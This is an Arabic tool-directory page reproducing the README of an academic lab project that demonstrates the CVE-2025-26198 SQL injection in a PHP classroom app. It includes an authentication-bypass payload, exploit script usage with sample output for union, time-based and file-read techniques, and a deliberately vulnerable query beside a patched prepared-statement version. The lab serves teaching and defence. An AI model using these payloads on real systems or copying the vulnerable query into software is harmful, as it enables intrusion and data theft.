Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-26198 | Kitploit
أدوات/GitHubGitHub/wailyacoubi9/cve-2025-26198
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليمأمن قواعد البيانات
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

عرض المستودع
منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-26198 - توضيح SQL Injection

مشروع أكاديمي ENSIMAG - الأمن 3A
المؤلفون: Wail Yacoubi, Mohammed-Yassine Akhmari
التاريخ: يناير 2026


تحذير

هذا الكود ضعيف عمدًا لأغراض تعليمية.
لا تقم بنشره في بيئة الإنتاج أبدًا.


الوصف

إعادة إنتاج لثغرة CVE-2025-26198: حقن SQL حرج في مشروع CloudClassroom-PHP-Project الإصدار 1.0.

خصائص الثغرة:

  • المعرف: CVE-2025-26198
  • درجة CVSS: 9.8/10 (حرجة)
  • النوع: SQL Injection (CWE-89)
  • المكوّن الضعيف: loginlinkadmin.php
  • الأثر: تجاوز المصادقة + استخراج كامل لقاعدة البيانات

المرجع الرسمي: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


الهدف

توضيح 4 تقنيات لاستغلال حقن SQL:

  1. Boolean-based - تجاوز المصادقة
  2. Union-based - استخراج البيانات
  3. Time-based Blind - الاكتشاف عبر التأخير الزمني
  4. File Read - قراءة ملفات النظام

التثبيت

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.x
  • تثبيت requests: pip install requests

التشغيل

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

التطبيق متاح على http://localhost:8081


الاستغلال

الطريقة 1: يدويًا (المتصفح)

  1. اذهب إلى http://localhost:8081

  2. املأ النموذج:

    • اسم المستخدم: admin' OR '1'='1'-- -
    • كلمة المرور: anything
  3. انقر على Login

النتيجة: تسجيل دخول ناجح كمدير دون كلمة مرور صالحة.

التفسير:

تحوّل الحمولة استعلام SQL إلى:

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

إن OR '1'='1' صحيح دائمًا، و-- - تعلّق بقية الاستعلام.


الطريقة 2: سكربتات Python

سكربت بسيط

root@kitploit:~
python exploit_simple.py http://localhost:8081

المخرجات المتوقعة:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

السكربت الكامل (4 تقنيات)

root@kitploit:~
python exploit.py http://localhost:8081

المخرجات المتوقعة:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

النسخة المُصحّحة

اختبر النسخة الآمنة باستخدام prepared statements:

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

النتيجة المتوقعة:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

يتم حظر الهجوم عبر التحقق من المدخلات واستخدام prepared statements.

أعد النسخة الضعيفة:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

مقارنة النسخ

الكود الضعيف:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

الكود الآمن:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

هيكل المشروع

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

استكشاف الأخطاء وإصلاحها

حاوية الويب لا تبدأ

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

الاستغلال لا يعمل

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

المنفذ مستخدم بالفعل

عدّل docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

التوثيق

راجع RAPPORT.md للتحليل المفصل الذي يتضمن:

  • آلية الثغرة
  • بنية النظام
  • توصيات التعزيز الأمني
  • أفضل ممارسات التطوير

المراجع

  • الثغرة الرسمية: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • المشروع الأصلي: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

إخلاء مسؤولية

طُوّر المشروع لأغراض تعليمية فقط ضمن مقرر الأمن السيبراني في ENSIMAG.

الاستخدام المسموح به:

  • التعلّم والتدريب
  • الاختبار على بيئات مصرّح بها

الاستخدام المحظور:

  • الهجمات على الأنظمة الحقيقية
  • الاستخدام الخبيث

أي استخدام خارج الإطار الأكاديمي محظور تمامًا ويُعد غير قانوني.


المؤلفون
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - دفعة 2026
المقرر: الأمن 3A

تنزيل الأداة
الجانبالنسخة الضعيفةالنسخة المُصحّحة
استعلام SQLتسلسل مباشرPrepared statement PDO
التحقق من المدخلاتلا يوجدRegex أبجدي رقمي
تهريب المخرجاتلاhtmlspecialchars()
SQL Injectionقابل للاستغلالمحظور
السجلاتلا توجدerror_log()